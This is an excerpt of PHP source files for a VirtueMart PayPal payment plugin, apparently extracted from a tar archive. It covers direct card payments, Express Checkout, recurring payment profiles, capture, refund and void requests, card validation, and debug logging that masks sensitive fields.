'; if ($echo) { echo $debug; } else { return $debug; } } function highlight($string) { return '' . $string . ''; } public function debugLog($message, $title = '', $type = 'message', $echo = false, $doVmDebug=false) { //Nerver log the full credit card number nor the CVV code. if (is_array($message)) { if (array_key_exists('ACCT', $message)) { $message['ACCT'] = "**** **** **** " . substr($message['ACCT'], -4); } if (array_key_exists('CVV2', $message)) { $message['CVV2'] = str_repeat('*', strlen($message['CVV2'])); } if (array_key_exists('signature', $message)) { $message['signature'] = '**MASKED**'; } if (array_key_exists('api_password', $message)) { $message['api_password'] = '**MASKED**'; } } if ($this->_method->debug) { $this->debug($message, $title, true); } if ($echo) { echo $message . '
'; } $this->paypalPlugin->debugLog($message, $title, $type, $doVmDebug); } } paypal/helpers/paypalapi.php000066600000042302151373156210012176 0ustar00_method->sandbox ) { $this->api_login_id = $this->_method->sandbox_api_login_id; $this->api_signature = $this->_method->sandbox_api_signature; $this->api_password = $this->_method->sandbox_api_password; } else { $this->api_login_id = $this->_method->api_login_id; $this->api_signature = $this->_method->api_signature; $this->api_password = $this->_method->api_password; } if (empty($this->api_login_id) || empty($this->api_signature) || empty($this->api_password)) { $text=JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text,$text); } } function initPostVariables($paypalMethod) { $post_variables = Array(); $post_variables['METHOD'] = $paypalMethod; //$post_variables['version'] = "106.0"; //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/ $post_variables['version'] = "104.0"; $post_variables['USER'] = $this->api_login_id; $post_variables['PWD'] = $this->api_password; $post_variables['SIGNATURE'] = $this->api_signature; $post_variables['BUTTONSOURCE'] = self::BNCODE;; $post_variables['CURRENCYCODE'] = $this->currency_code_3; if (is_array($this->order) && is_object($this->order['details']['BT'])) { $post_variables['INVNUM'] = $this->order['details']['BT']->order_number; } else if (is_object($this->order)) { $post_variables['INVNUM'] = $this->order->order_number; } $post_variables['IPADDRESS'] = ($_SERVER['REMOTE_ADDR']=='::1') ? '127.0.0.1' : $_SERVER['REMOTE_ADDR']; return $post_variables; } function addBillTo(&$post_variables) { $addressBT = $this->order['details']['BT']; //Bill To $post_variables['FIRSTNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['LASTNAME'] = isset($addressBT->last_name) ? $this->truncate($addressBT->last_name, 50) : ''; $post_variables['STREET'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : ''; $post_variables['CITY'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : ''; $post_variables['ZIP'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : ''; $post_variables['STATE'] = isset($addressBT->virtuemart_state_id) ? ShopFunctions::getStateByID($addressBT->virtuemart_state_id, 'state_2_code') : ''; $post_variables['COUNTRYCODE'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code'); } function addShipTo(&$post_variables) { $addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']); //Ship To $post_variables['SHIPTONAME'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : ''; $post_variables['SHIPTOSTREET'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : ''; $post_variables['SHIPTOCITY'] = isset($addressST->city) ? $this->truncate($addressST->city, 40) : ''; $post_variables['SHIPTOZIP'] = isset($addressST->zip) ? $this->truncate($addressST->zip, 40) : ''; $post_variables['SHIPTOSTATE'] = isset($addressST->virtuemart_state_id) ? ShopFunctions::getStateByID($addressST->virtuemart_state_id, 'state_2_code') : ''; $post_variables['SHIPTOCOUNTRYCODE'] = ShopFunctions::getCountryByID($addressST->virtuemart_country_id, 'country_2_code'); } function addCreditCard(&$post_variables) { $post_variables['ACCT'] = $this->customerData->getVar('cc_number'); $post_variables['CVV2'] = $this->customerData->getVar('cc_cvv'); $post_variables['CREDITCARDTYPE'] = $this->customerData->getVar('cc_type'); $post_variables['EXPDATE'] = $this->_getFormattedDate($this->customerData->getVar('cc_expire_month'), $this->customerData->getVar('cc_expire_year')); } public function ManageCheckout() { switch ($this->_method->payment_type) { case '_xclick': return $this->DoPayment(); case '_xclick-subscriptions': return $this->CreateRecurringPaymentsProfile(); case '_xclick-payment-plan': return $this->CreatePaymentPlanProfile(); } } public function ManageCancelOrder($payment) { $this->RefundTransaction($payment); /* switch ($this->_method->payment_type) { case '_xclick': return $this->RefundTransaction($payment); case '_xclick-subscriptions': case '_xclick-payment-plan': return $this->ManageRecurringPaymentsProfileStatus($payment); } */ } function DoPayment() { $post_variables = $this->initPostVariables('DoDirectPayment'); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addCreditCard($post_variables); $post_variables['PAYMENTACTION'] = $this->_method->payment_action; $post_variables['AMT'] = $this->total; $this->sendRequest($post_variables); if ($this->handleResponse()) { if ($this->_method->payment_action == 'Authorization') { $this->response['PAYMENTSTATUS'] = 'Pending'; $this->response['PENDINGREASON'] = 'authorization'; } else { $this->response['PAYMENTSTATUS'] = 'Completed'; $this->response['PENDINGREASON'] = 'None'; } $this->response['paypal_response_txn_type'] = 'DoDirectPayment'; return true; } else { return false; } } public function CreateRecurringPaymentsProfile() { //https://developer.paypal.com/webapps/developer/docs/classic/direct-payment/ht_dp-recurringPaymentProfile-curl-etc/ //https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/CreateRecurringPaymentsProfile_API_Operation_NVP/ $post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile'); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addCreditCard($post_variables); //$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number; $post_variables['DESC'] = $this->getRecurringProfileDesc(); $startDate = JFactory::getDate(); $post_variables['PROFILESTARTDATE'] = $startDate->toISO8601(); $post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling'; $post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->subscription_duration); $post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->subscription_duration); $post_variables['TOTALBILLINGCYCLES'] = $this->_method->subscription_term; if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $post_variables['INITAMT'] = $this->cart->pricesUnformatted['salesPricePayment']; $post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure'; $post_variables['AMT'] = $this->total - $this->cart->pricesUnformatted['salesPricePayment']; } else { $post_variables['AMT'] = $this->total; } if ($this->_method->subcription_trials) { $post_variables['TRIALBILLINGFREQUENCY']= $this->getDurationValue($this->_method->trial1_duration); $post_variables['TRIALBILLINGPERIOD'] = $this->getDurationUnit($this->_method->trial1_duration); $post_variables['TRIALTOTALBILLINGCYCLES']= $this->_method->subcription_trials; $post_variables['TRIALAMT'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0; } $this->sendRequest($post_variables); return $this->handleResponse(); } public function CreatePaymentPlanProfile() { //Payment plans are not implemented in the API. //A workaround is to create a subscription profile and divide the total amount by the term. $post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile'); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addCreditCard($post_variables); //$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number; $post_variables['DESC'] = $this->order['details']['BT']->order_number.': '.$this->getPaymentPlanDesc(); if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $initAmount = $this->cart->pricesUnformatted['salesPricePayment']; } else { $initAmount = 0; } $occurenceAmount = round(($this->total-$initAmount) / $this->_method->payment_plan_term,2); if ($this->_method->payment_plan_defer == 2) { $initAmount += $occurenceAmount; $occurencesCount = $this->_method->payment_plan_term - 1; } else { $occurencesCount = $this->_method->payment_plan_term; } if ($this->_method->payment_plan_defer && $this->_method->payment_plan_defer_strtotime) { $startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime); } else { $startDate = JFactory::getDate(); } $post_variables['PROFILESTARTDATE'] = $startDate->toISO8601(); $post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling'; $post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->payment_plan_duration); $post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->payment_plan_duration); $post_variables['TOTALBILLINGCYCLES'] = $occurenceAmount; if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $post_variables['INITAMT'] = $initAmount; $post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure'; } $post_variables['AMT'] = $occurenceAmount; $this->sendRequest($post_variables); return $this->handleResponse(); } function GetRecurringPaymentsProfileDetails($profileId) { $post_variables = $this->initPostVariables('GetRecurringPaymentsProfileDetails'); $post_variables['PROFILEID'] = $profileId; $this->sendRequest($post_variables); return $this->handleResponse(); } function ManageRecurringPaymentsProfileStatus($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('ManageRecurringPaymentsProfileStatus'); $post_variables['PROFILEID'] = $paypal_data->PROFILEID; $post_variables['ACTION'] = 'Cancel'; $this->sendRequest($post_variables); $this->handleResponse(); return $this->GetRecurringPaymentsProfileDetails($paypal_data->PROFILEID); } function DoCapture($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); //Only capture payment if it still pending if (strcasecmp($paypal_data->PAYMENTSTATUS ,'Pending') !=0 && strcasecmp($paypal_data->PENDINGREASON, 'authorization') !=0) { return false; } $post_variables = $this->initPostVariables('DoCapture'); //Do we need to reauthorize ? $reauth = $this->doReauthorize($paypal_data->txn_id,$paypal_data); if ($reauth === false) { $post_variables['AuthorizationID'] = $paypal_data->TRANSACTIONID; } else { $post_variables['AuthorizationID'] = $reauth; } $post_variables['PAYMENTACTION'] = 'DoCapture'; $post_variables['AMT'] = $this->total; $post_variables['COMPLETETYPE'] = 'Complete'; $this->sendRequest($post_variables); //print_a($post_variables); //print_a($this->response); $success = $this->handleResponse(); if (!$success) { $this->doVoid($payment); } return $success; } function doReauthorize($AuthorizationID,$paypal_data) { return false; $post_variables = $this->initPostVariables('DoReauthorization'); $post_variables['AuthorizationID'] = $AuthorizationID; $post_variables['PAYMENTACTION'] = 'DoReauthorization'; $post_variables['AMT'] = $this->total; $this->sendRequest($post_variables); if ($this->handleResponse()) { return $this->response['AUTHORIZATIONID']; } else { return false; } } function RefundTransaction($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); if ($paypal_data->PAYMENTSTATUS == 'Completed') { $post_variables = $this->initPostVariables('RefundTransaction'); $post_variables['REFUNDTYPE'] = 'Full'; } else if ($paypal_data->PAYMENTSTATUS == 'Pending' && $paypal_data->PENDINGREASON == 'authorization') { $post_variables = $this->initPostVariables('DoVoid'); } else { return false; } $post_variables['AuthorizationID'] = $paypal_data->TRANSACTIONID; $this->sendRequest($post_variables); return $this->handleResponse(); } function doVoid($payment) { $paypal_data = json_decode($payment->paypal_fullresponse); $post_variables = $this->initPostVariables('DoVoid'); $post_variables['AuthorizationID'] = $paypal_data->TRANSACTIONID; $this->sendRequest($post_variables); return $this->handleResponse(); } function validate($enqueueMessage=true) { if (!class_exists('Creditcard')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'creditcard.php'); } $html = ''; $cc_valid = true; $errormessages = array(); $cc_type = $this->customerData->getVar('cc_type'); $cc_number = $this->customerData->getVar('cc_number'); $cc_cvv = $this->customerData->getVar('cc_cvv'); $cc_expire_month = $this->customerData->getVar('cc_expire_month'); $cc_expire_year = $this->customerData->getVar('cc_expire_year'); if (!Creditcard::validate_credit_card_number($cc_type, $cc_number)) { $errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_NUMBER_INVALID'; $cc_valid = false; } if ($this->_method->cvv_required or $cc_type=='Maestro') { $required=true; } else { $required=false; } if (!Creditcard::validate_credit_card_cvv($cc_type, $cc_cvv, $required)) { $errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_CVV_INVALID'; $cc_valid = false; } if (!Creditcard::validate_credit_card_date($cc_type, $cc_expire_month, $cc_expire_year)) { $errormessages[] = 'VMPAYMENT_PAYPAL_CC_CARD_DATE_INVALID'; $cc_valid = false; } if (!$cc_valid) { foreach ($errormessages as $msg) { $html .= Jtext::_($msg) . "
"; } } if (!$cc_valid && $enqueueMessage) { $app = & JFactory::getApplication(); $app->enqueueMessage($html,'error'); } $displayInfoMsg=""; if (!$cc_valid) { $displayInfoMsg=false; return false; } else { return parent::validate($displayInfoMsg); } } function displayExtraPluginInfo() { $extraInfo = ''; //if ($this->customerData->getVar('cc_number') && $this->validate()) { if ($this->customerData->getVar('cc_number') ) { $cc_number = "**** **** **** " . substr($this->customerData->getVar('cc_number'), -4); $creditCardInfos = '
' . JText::_('VMPAYMENT_PAYPAL_CC_CCTYPE') . $this->customerData->getVar('cc_type') . '
'; $creditCardInfos .=JText::_('VMPAYMENT_PAYPAL_CC_CCNUM') . $cc_number . '
'; $creditCardInfos .= JText::_('VMPAYMENT_PAYPAL_CC_CVV2') . '****' . '
'; $creditCardInfos .= JText::_('VMPAYMENT_PAYPAL_CC_EXDATE') . $this->customerData->getVar('cc_expire_month') . '/' . $this->customerData->getVar('cc_expire_year'); $creditCardInfos .="
"; $extraInfo .= $creditCardInfos; } else { $extraInfo .= '
'.JText::_('VMPAYMENT_PAYPAL_CC_ENTER_INFO').''; } $extraInfo .= parent::getExtraPluginInfo(); return $extraInfo; } protected function getDurationUnit($duration) { $parts = explode('-',$duration); switch ($parts[1]) { case 'D': return 'Day'; case 'W': return 'Week'; case 'M': return 'Month'; case 'Y': return 'Year'; } } function getOrderBEFields() { $showOrderBEFields = array( 'method' => 'method', 'ACK' => 'ACK', 'TXN_ID' => 'TRANSACTIONID', 'PROFILEID' => 'PROFILEID', 'MC_GROSS' => 'PAYMENTINFO_0_AMT', 'MC_FEE' => 'PAYMENTINFO_0_FEEAMT', 'TAXAMT' => 'PAYMENTINFO_0_TAXAMT', 'MC_CURRENCY' => 'PAYMENTINFO_0_CURRENCYCODE', 'PAYMENT_STATUS' => 'PAYMENTSTATUS', 'REFUND_STATUS' => 'REFUNDSTATUS', 'PENDING_REASON' => 'PENDINGREASON', 'REASONCODE' => 'PAYMENTINFO_0_REASONCODE', 'ERRORCODE' => 'PAYMENTINFO_0_ERRORCODE', 'PROTECTION_ELIGIBILITY' => 'PAYMENTINFO_0_PROTECTIONELIGIBILITY', 'CORRELATIONID' => 'CORRELATIONID', ); return $showOrderBEFields; } } paypal/helpers/paypalexp.php000066600000110045151373156210012221 0ustar00_method->sandbox ) { $this->api_login_id = $this->_method->sandbox_api_login_id; if ($this->_method->authentication == 'signature') { $this->api_signature = $this->_method->sandbox_api_signature; $this->api_certificate = ''; } else { $this->api_signature = ''; $this->api_certificate = $this->_method->sandbox_api_certificate; } $this->api_password = $this->_method->sandbox_api_password; $this->merchant_email = $this->_method->sandbox_merchant_email; } else { $this->api_login_id = $this->_method->api_login_id; $this->api_signature = $this->_method->api_signature; $this->api_certificate = $this->_method->api_certificate; $this->api_password = $this->_method->api_password; $this->merchant_email = $this->_method->paypal_merchant_email; } if ((!$this->ExpCredentialsValid() OR !$this->isAacceleratedOnboardingValid())) { $text = JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text, $text); } if (empty ($this->_method->expected_maxamount)) { $text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_EXPECTEDMAXAMOUNT'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id); vmError($text, $text); } } function expCredentialsValid() { return $this->api_login_id && $this->api_password && ($this->api_signature || $this->api_certificate); } /** * * Check if it is Accelerated Boarding possible for Express Checkout * @return bool */ function isAacceleratedOnboarding() { return $this->_method->accelerated_onboarding; } /** * * Check if it is Accelerated Boarding possible for Express Checkout * @return bool */ function isAacceleratedOnboardingValid() { if ($this->_method->accelerated_onboarding AND empty($this->merchant_email)) { return false; } else { return true; } } function initPostVariables($paypalMethod) { $post_variables = Array(); $post_variables['METHOD'] = $paypalMethod; $post_variables['version'] = "104.0"; // 104.0 required by Paypal //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/ $post_variables['USER'] = $this->api_login_id; $post_variables['PWD'] = $this->api_password; $post_variables['BUTTONSOURCE'] = self::BNCODE;; if ($this->api_signature) { $post_variables['SIGNATURE'] = $this->api_signature; } $post_variables['CURRENCYCODE'] = $this->currency_code_3; if (is_array($this->order) && is_object($this->order['details']['BT'])) { $post_variables['INVNUM'] = $this->order['details']['BT']->order_number; } else if (is_object($this->order)) { $post_variables['INVNUM'] = $this->order->order_number; } $post_variables['IPADDRESS'] = ($_SERVER['REMOTE_ADDR'] == '::1') ? '127.0.0.1' : $_SERVER['REMOTE_ADDR']; return $post_variables; } function addAcceleratedOnboarding(&$post_variables) { if ($this->_method->accelerated_onboarding) { $post_variables['SUBJECT'] = $this->merchant_email; } } function addBillTo(&$post_variables) { $addressBT = $this->order['details']['BT']; //Bill To $post_variables['FIRSTNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['LASTNAME'] = isset($addressBT->last_name) ? $this->truncate($addressBT->last_name, 50) : ''; $post_variables['STREET'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : ''; $post_variables['CITY'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : ''; $post_variables['ZIP'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : ''; $post_variables['STATE'] = isset($addressBT->virtuemart_state_id) ? ShopFunctions::getStateByID($addressBT->virtuemart_state_id, 'state_2_code') : ''; $post_variables['COUNTRYCODE'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code'); } function addShipTo(&$post_variables) { $addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']); //Ship To $post_variables['SHIPTONAME'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : ''; $post_variables['SHIPTOSTREET'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : ''; $post_variables['SHIPTOCITY'] = isset($addressST->city) ? $this->truncate($addressST->city, 40) : ''; $post_variables['SHIPTOZIP'] = isset($addressST->zip) ? $this->truncate($addressST->zip, 40) : ''; $post_variables['SHIPTOSTATE'] = isset($addressST->virtuemart_state_id) ? ShopFunctions::getStateByID($addressST->virtuemart_state_id, 'state_2_code') : ''; $post_variables['SHIPTOCOUNTRYCODE'] = ShopFunctions::getCountryByID($addressST->virtuemart_country_id, 'country_2_code'); } /** * https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/SetExpressCheckout_API_Operation_NVP/ * @param $post_variables */ function addPrices(&$post_variables) { $paymentCurrency = CurrencyDisplay::getInstance($this->_method->payment_currency); $i = 0; $taxAmount = 0; // Product prices if ($this->cart->products) { foreach ($this->cart->products as $key => $product) { $post_variables["L_PAYMENTREQUEST_0_NAME" . $i] = $this->getItemName($product->product_name); if ($product->product_sku) { $post_variables["L_PAYMENTREQUEST_0_NUMBER" . $i] = $product->product_sku; } $post_variables["L_PAYMENTREQUEST_0_AMT" . $i] = $this->getProductAmount($this->cart->pricesUnformatted[$key]); $post_variables["L_PAYMENTREQUEST_0_QTY" . $i] = $product->quantity; $i++; } } $post_variables["PAYMENTREQUEST_0_ITEMAMT"] = vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPrice'], $this->_method->payment_currency); $salesPriceShipment = vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceShipment'], $this->_method->payment_currency); if ($salesPriceShipment >= 0) { $post_variables["PAYMENTREQUEST_0_SHIPPINGAMT"] = $salesPriceShipment; } else { $post_variables["PAYMENTREQUEST_0_SHIPDISCAMT"] = $salesPriceShipment; } $handling = $this->getHandlingAmount(); if (!empty($this->cart->pricesUnformatted['salesPriceCoupon'])) { $handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPriceCoupon'], $this->_method->payment_currency); } $post_variables["PAYMENTREQUEST_0_HANDLINGAMT"] = $handling; $post_variables['PAYMENTREQUEST_0_AMT'] = $this->total; $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3; $pricesCurrency = CurrencyDisplay::getInstance($this->cart->pricesCurrency); } function addToken(&$post_variables) { $post_variables['TOKEN'] = $this->customerData->getVar('token'); $post_variables['PAYERID'] = $this->customerData->getVar('payer_id'); } /* * languages supported according to this https://cms.paypal.com/uk/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_api_ECCustomizing */ function getLocaleCode() { $jlang = JFactory::getLanguage(); $tag = $jlang->getTag(); $languageSpecific = array('da_DK', //', // – Danish (for Denmark only) 'he_IL', //', // – Hebrew (all) 'id_ID', //– Indonesian (for Indonesia only) 'ja_JP', //', // – Japanese (for Japan only) 'no_NO', //– Norwegian (for Norway only) 'pt_BR', //', // – Brazilian Portuguese (for Portugal and Brazil only) 'ru_RU', //', // – Russian (for Lithuania, Latvia, and Ukraine only) 'sv_SE', //', // – Swedish (for Sweden only) 'th_TH', //', // – Thai (for Thailand only) 'tr_TR', //- //', // – Turkish (for Turkey only)) 'zh_CN', //– Simplified Chinese (for China only) 'zh_HK', //– Traditional Chinese (for Hong Kong only) 'zh_TW', // – Traditional Chinese (for Taiwan only) ); if (in_array($tag, $languageSpecific)) { return $tag; } $paypalLanguages = array('AU', 'AT', // Austria 'BE', //', Belgium 'BR', // Brazil 'CA', // – Canada 'CH', // Switzerland 'CN', // – China 'DE', // – Germany 'ES', // – Spain 'GB', // – United Kingdom 'FR', // – France 'IT', // – Italy 'NL', // – Netherlands 'PL', // – Poland 'PT', // – Portugal 'RU', // – Russia 'US', // – United States ); $explode = explode("-", $tag); if (isset($explode[1])) { $country = $explode[1]; if (in_array($country, $paypalLanguages)) { return $country; } } return "GB"; } public function getToken() { $post_variables = $this->initPostVariables('SetExpressCheckout'); $this->addAcceleratedOnboarding($post_variables); $this->addPrices($post_variables); $this->setTimeOut(self::TIMEOUT_SETEXPRESSCHECKOUT); $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3; $post_variables['RETURNURL'] = JURI::root() . 'index.php?option=com_virtuemart&view=cart&task=setpayment&expresscheckout=done&virtuemart_paymentmethod_id=' . $this->_method->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid'). '&lang='.JRequest::getCmd('lang','') ; $post_variables['CANCELURL'] = JURI::root() . 'index.php?option=com_virtuemart&view=cart&expresscheckout=cancel&Itemid=' . JRequest::getInt('Itemid') . '&lang='.JRequest::getCmd('lang','') ; //$post_variables['CANCELURL'] = substr(JURI::root(false,''),0,-1). JROUTE::_('index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&expresscheckout=cancel'); $post_variables['ADDROVERRIDE'] = $this->_method->address_override; $post_variables['NOSHIPPING'] = $this->_method->no_shipping; $post_variables['MAXAMT'] = $this->_method->expected_maxamount; $post_variables['LOGOIMG'] = $this->getLogoImage(); //$this->debugLog($post_variables['LOGOIMG'], 'logoImg:', 'debug'); $post_variables['LOCALECODE'] = $this->getLocaleCode(); if ($this->_method->headerimg) { //$post_variables['HDRIMG'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->headerimg; } if ($this->_method->bordercolor) { $post_variables['CARTBORDERCOLOR'] = str_replace('#', '', strtoupper($this->_method->bordercolor)); //$post_variables['PAYFLOWCOLOR'] = 'ff0033'; //str_replace('#','',strtoupper($this->_method->bordercolor)); } if ($this->_method->payment_type == '_xclick-subscriptions') { $post_variables['L_BILLINGTYPE0'] = 'RecurringPayments'; $post_variables['L_BILLINGAGREEMENTDESCRIPTION0'] = $this->getRecurringProfileDesc(); } else { $post_variables['PAYMENTREQUEST_0_PAYMENTACTION'] = $this->getPaymentAction(); // done in addPrices // Total of order, including shipping, handling, tax, and any other billing adjustments such as a credit due. // $post_variables['PAYMENTREQUEST_0_AMT'] = $this->total; // $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3; } $this->sendRequest($post_variables); $valid = $this->handleResponse(); if ($valid) { $this->customerData->setVar('token', $this->response['TOKEN']); $this->customerData->save(); $this->redirectToPayPal(); } else { // already done in handleResponse() // $this->customerData->clear(); return false; } return true; } public function getExpressCheckoutDetails() { $post_variables = $this->initPostVariables('GetExpressCheckoutDetails'); $this->addAcceleratedOnboarding($post_variables); $this->setTimeOut(self::TIMEOUT_GETEXPRESSCHECKOUTDETAILS); $this->addToken($post_variables); $this->sendRequest($post_variables); if ($this->handleResponse()) { $this->customerData->setVar('payer_id', $this->response['PAYERID']); $this->customerData->setVar('first_name', $this->response['FIRSTNAME']); $this->customerData->setVar('last_name', $this->response['LASTNAME']); $this->customerData->setVar('payer_email', $this->response['EMAIL']); $this->customerData->setVar('paypal_response', $this->response); $this->customerData->save(); $this->storeAddresses(); return true; } else { return false; } } public function ManageLogin() { } public function ManageCheckout() { switch ($this->_method->payment_type) { case '_xclick': return $this->DoPayment(); case '_xclick-subscriptions': return $this->CreateRecurringPaymentsProfile(); case '_xclick-payment-plan': return $this->CreatePaymentPlanProfile(); } } public function ManageCancelOrder($payment) { $this->RefundTransaction($payment); /* switch ($this->_method->payment_type) { case '_xclick': return $this->RefundTransaction($payment); case '_xclick-subscriptions': case '_xclick-payment-plan': return $this->ManageRecurringPaymentsProfileStatus($payment); } */ } public function DoPayment() { static $redirect = 0; $post_variables = $this->initPostVariables('DoExpressCheckoutPayment'); $this->addAcceleratedOnboarding($post_variables); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addPrices($post_variables); $this->addToken($post_variables); $post_variables['PAYMENTREQUEST_0_CURRENCYCODE'] = $this->currency_code_3; $post_variables['PAYMENTREQUEST_0_PAYMENTACTION'] = $this->getPaymentAction(); $post_variables['PAYMENTREQUEST_0_AMT'] = $this->total; $this->sendRequest($post_variables); // https://developer.paypal.com/webapps/developer/docs/classic/express-checkout/ht_ec_fundingfailure10486/ $responseValid = $this->handleResponse(); if (!$responseValid) { if ($this->response['L_ERRORCODE0'] == self::FRAUD_FAILURE_ERROR_CODE and $this->_method->payment_action == 'Sale' and $redirect <= 2) { $redirect++; // redirect buyer to PayPal $this->redirectToPayPal($post_variables['TOKEN']); } return false; } return true; } public function CreateRecurringPaymentsProfile() { //https://developer.paypal.com/webapps/developer/docs/classic/direct-payment/ht_dp-recurringPaymentProfile-curl-etc/ //https://developer.paypal.com/webapps/developer/docs/classic/api/merchant/CreateRecurringPaymentsProfile_API_Operation_NVP/ $post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile'); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addToken($post_variables); //$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number; $post_variables['DESC'] = $this->getRecurringProfileDesc(); $startDate = JFactory::getDate(); $post_variables['PROFILESTARTDATE'] = $startDate->toISO8601(); $post_variables['AUTOBILLOUTAMT'] = 'AddToNextBilling'; $post_variables['BILLINGFREQUENCY'] = $this->getDurationValue($this->_method->subscription_duration); $post_variables['BILLINGPERIOD'] = $this->getDurationUnit($this->_method->subscription_duration); $post_variables['TOTALBILLINGCYCLES'] = $this->_method->subscription_term; if ($this->cart->pricesUnformatted['salesPricePayment']) { $post_variables['INITAMT'] = $this->cart->pricesUnformatted['salesPricePayment']; $post_variables['FAILEDINITAMTACTION'] = 'CancelOnFailure'; $post_variables['AMT'] = $this->total - $this->cart->pricesUnformatted['salesPricePayment']; } else { $post_variables['AMT'] = $this->total; } if ($this->_method->subcription_trials) { $post_variables['TRIALBILLINGFREQUENCY'] = $this->getDurationValue($this->_method->trial1_duration); $post_variables['TRIALBILLINGPERIOD'] = $this->getDurationUnit($this->_method->trial1_duration); $post_variables['TRIALTOTALBILLINGCYCLES'] = $this->_method->subcription_trials; $post_variables['TRIALAMT'] = ($this->_method->trial1_price) ? $this->_method->trial1_price : 0; } $this->sendRequest($post_variables); return $this->handleResponse(); } public function CreatePaymentPlanProfile() { //Payment plans are not implemented in the API. //A workaround is to create a subscription profile and divide the total amount by the term. $post_variables = $this->initPostVariables('CreateRecurringPaymentsProfile'); $this->addBillTo($post_variables); $this->addShipTo($post_variables); $this->addToken($post_variables); //$post_variables['SUBSCRIBERNAME'] = isset($addressBT->first_name) ? $this->truncate($addressBT->first_name, 50) : ''; $post_variables['PROFILEREFERENCE'] = $this->order['details']['BT']->order_number; $post_variables['DESC'] = $this->order['details']['BT']->order_number . ': ' . $this->getPaymentPlanDesc(); if ($this->cart->pricesUnformatted['salesPricePayment'] && $this->cart->pricesUnformatted['salesPricePayment'] > 0) { $initAmount = $this->cart->pricesUnformatted['salesPricePayment']; } else { $initAmount = 0; } $occurence_amount = round(($this->total - $initAmount) / $this->_method->payment_plan_term, 2); if ($this->_method->payment_plan_defer == 2) { $initAmount += $occurence_amount; $occurences_count = $this->_method->payment_plan_term - 1; } else { $occurences_count = $this->_method->payment_plan_term; } if ($this->_method->payment_plan_defer && $this->_method->payment_plan_defer_strtotime) { $startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime); } else { $startDate = JFactory::getDate(); } 